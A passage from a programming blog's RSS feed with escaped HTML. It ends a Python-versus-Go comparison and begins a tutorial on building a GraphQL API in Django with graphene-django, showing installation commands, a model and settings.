src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/Pypi.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;screenshot of the Python Pypi package index&#34; width=&#34;1195&#34; height=&#34;429&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;The Python Pypi package index&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;web-frameworks&#34;&gt;Web frameworks&lt;/h2&gt;&#xA;&lt;h3 id=&#34;web-frameworks-in-go&#34;&gt;Web frameworks in go&lt;/h3&gt;&#xA;&lt;p&gt;The frameworks available for Go focus on speed. Since the language language is new, they are relatively young technologies but extremely fast and efficient, being efficient, being able to serve many, many requests per second. If speed is a is a requirement for your project, consider them seriously.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/Frameworks-web-Go.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/Frameworks-web-Go.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Most popular Go frameworks: Hugo, Beego, Echo, Buffalo, Go revel&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Go frameworks logos&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;how-fast-are-go-web-frameworks-compared-to-python-web-frameworks&#34;&gt;How fast are Go web frameworks compared to Python web frameworks?&lt;/h3&gt;&#xA;&lt;p&gt;Check out these performance tests from techempower. The green bars correspond to Go frameworks, while the blue bars are for Python frameworks.&lt;/p&gt;&#xA;&lt;p&gt;Enclosed in black are the number of requests per second supported by each framework (the more the better). As you can see, Go beats Python in performance.&lt;/p&gt;&#xA;&lt;p&gt;Performance comparison of various web frameworks at &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/Velocidad-frameworks-go-vs-python.png&#34; aria-label=Go&amp;#32;web&amp;#32;frameworks&amp;#32;outperform&amp;#32;Python&amp;#32;web&amp;#32;frameworks title=&#34;Go web frameworks outperform Python web frameworks&#34;&gt;techempower&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Performance tests for Python (purple) and Go frameworks (green)&lt;/p&gt;&#xA;&lt;h3 id=&#34;web-frameworks-in-python&#34;&gt;Web frameworks in Python&lt;/h3&gt;&#xA;&lt;p&gt;While in Python we already have some well proven solutions, solutions, characterized by being very stable and with an answer for almost all the needs of a web and with an answer for almost all the needs of a web developer and that, in addition, support very popular sites with huge traffic, like pinterest or instagram. instagram.&lt;/p&gt;&#xA;&lt;p&gt;Among the frameworks &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django, one of the favorite frameworks of Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-frameworks.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-frameworks.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python&amp;#39;s most popular frameworks are: Django, Fastapi, flask&#34; width=&#34;800&#34; height=&#34;368&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Most popular Python frameworks&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Even though most Python frameworks are old, it doesn&amp;rsquo;t mean that new frameworks are not appearing lately.&#xA;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/&#34;&gt;Fastapi&lt;/a&gt;&#xA;, which I already did a tutorial on, is also a fast-growing new framework that is gaining popularity day by day.&lt;/p&gt;&#xA;&lt;h2 id=&#34;which-one-to-choose-python-vs-go&#34;&gt;Which one to choose Python vs go?&lt;/h2&gt;&#xA;&lt;p&gt;From my standpoint, if you need stability and time-tested solutions for your frameworks or you plan to enter the world of artificial intelligence, deep learning or data learning or data science, if you want a language that has a steep learning curve and a lot of and a large number of packages available that will save code for you and/or your save you and/or your team code, I&amp;rsquo;d go for Python.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, if you are serious about devops and/or speed and concurrency are important features for the projects you plan to create, and you want to dedicate yourself to dedicate yourself to creating devop tools. If you don&amp;rsquo;t mind the steeper learning curve steeper learning curve that Go has (it&amp;rsquo;s not that steep either) compared to Python, then Go will probably seem like a better choice.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, now that you know a little bit of both languages you can take a much more informed decision based on your intentions and personal situation. You can always learn both and combine them to have the best of both worlds.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;These last few months I have been learning go. How did it all start? Well, it started in a rather superficial way; I loved their mascot, yes, that&amp;rsquo;s really what it was all about. So after a brief mental debate, I decided to give the language a try. My first impression of it is that it is quite similar to Python; simple and easy to learn. Now that I have used it a bit more I bring you a comparison of go programming language vs python, where I will explain some of their differences, in case you are interested in learning one or the other this 2025.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How To Create a Graphql API In Django Rapidly Using Graphene</title>
      <link>https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/</link>
      <pubDate>Tue, 26 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In this post I will explain how Graphene allows you to speed up the process of creating a GraphQL API if you are using the Django Framework, as well as take advantage of the models you have already defined to perform queries or mutations.&lt;/p&gt;&#xA;&lt;p&gt;Normally graphql is used in conjunction with Nodejs and express, or other javascript frameworks, to create a graphql API in which to make queries, but graphql can also be implemented with Python frameworks such as Django. We are going to create a django application that serves content with graphql using a cool library called graphene that abstracts almost all the boilerplate of integrating graphql with Django models.&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-use-graphql&#34;&gt;Why use graphql?&lt;/h2&gt;&#xA;&lt;p&gt;Graphql allows you to integrate requests from multiple sources into a single API call. Unlike in a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;REST API&lt;/a&gt;&#xA;, it consists of a single endpoint to which we can make certain queries (defined by ourselves in a schema, yes, as a schema) and get a response.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/RestVsGraphQL.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/RestVsGraphQL.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Differences between REST and Graphql&#34; width=&#34;800&#34; height=&#34;800&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The schema tells graphql what kind of objects we will return and what fields of these objects, graphql will use a resolver to get that information from a database or any other reference.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/EsquemaGraphqlSimplificado.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/EsquemaGraphqlSimplificado.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;graphql schematic in Javascript&#34; width=&#34;1460&#34; height=&#34;400&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Simplified graphql schematic in Javascript&lt;/p&gt;&#xA;&lt;p&gt;Each query will be validated by graphql to return only what is allowed in the schema.&lt;/p&gt;&#xA;&lt;h3 id=&#34;should-you-use-graphql&#34;&gt;Should you use graphql?&lt;/h3&gt;&#xA;&lt;p&gt;I&amp;rsquo;m more a fan of keeping things as simple as possible and complicating them until necessary. Facebook created graphql for the purpose of making it easier to search for information in their application. Facebook requires a lot of information from different sources in order to work the way it does. Your application is probably not as complex and chaotic as facebook and does not face the same problems.&lt;/p&gt;&#xA;&lt;p&gt;Each team or person should consider whether it is worth implementing graphql according to the short, medium and long term needs of the app to be built. Maybe REST is enough, or maybe not.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;installation-of-graphene-django&#34;&gt;Installation of graphene-django&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s install graphene-django first. I will use the pipenv virtual environment manager, but you can use pip or any other you prefer.&lt;/p&gt;&#xA;&lt;p&gt;I am going to create a project with a fairly simple application for this tutorial. This project features a single model.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;django&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2.15.0&lt;/span&gt; django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;admin startproject criticaAnimes &lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;admin startapp anime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;I will now create a single model in the app and add three instances using the admin. I have a post about the django admin in case you don&amp;rsquo;t know how to configure it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# anime/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Anime&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rating &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PositiveSmallIntegerField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember to run the migrations in case you have not done so, so that the changes in our app are reflected in the database.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;rsquo;s install graphene in our Django application.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Graphene-django requires staticfiles to be installed in your application, so make sure you have it installed.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;django.contrib.staticfiles&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;graphene_django&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you know, unlike a REST API, &lt;strong&gt;Graphql has a single endpoint that receives the queries&lt;/strong&gt;, so we only need to add a url to our application.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/urls.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; GraphQLView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;graphql&amp;#34;&lt;/span&gt;, GraphQLView&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(graphiql&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;em&gt;graphiql&lt;/em&gt; parameter tells django whether or not to serve the graphiql interface.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/graphiqlTrueOrFalse.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/graphiqlTrueOrFalse.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Difference in the interface when setting graphql to True or False&#34; width=&#34;1063&#34; height=&#34;430&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;If we now try to access the url we just created, django will return an error warning us that &lt;strong&gt;we need a graphql &lt;em&gt;schema&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/aSchemaIsRequired.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/aSchemaIsRequired.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Error due to not defining a schema in graphene&#34; width=&#34;1182&#34; height=&#34;753&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Error due to missing schema in graphene&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s tell django where the location of our schema will be.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GRAPHENE &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;SCHEMA&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;criticaAnime.schema.schema&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our schema will be an object called &lt;em&gt;schema&lt;/em&gt; that will be located inside a file called &lt;em&gt;schema&lt;/em&gt;.py in our project folder.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/ubicacionDeSchema.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/ubicacionDeSchema.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;schema object location&#34; width=&#34;289&#34; height=&#34;302&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;I have put it here, but you can put it wherever you consider best and adjust the route to your location.&lt;/p&gt;&#xA;&lt;h2 id=&#34;create-a-schema-with-graphene&#34;&gt;Create a schema with graphene&lt;/h2&gt;&#xA;&lt;p&gt;Now that we have a schema and django knows where to find it, we need to tell graphql how to handle our queries.&lt;/p&gt;&#xA;&lt;p&gt;Here we are going to create an object that represents a graphql type. For this we create a class that inherits from &lt;em&gt;DjangoObjectType&lt;/em&gt; and we specify the model and the fields in its Meta class.&lt;/p&gt;&#xA;&lt;p&gt;This &lt;em&gt;DjangoObjectType&lt;/em&gt; is the model that will be used as a base to handle graphql validations and tell Django which fields of our object to return.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; graphene&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; DjangoObjectType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; anime.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Anime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 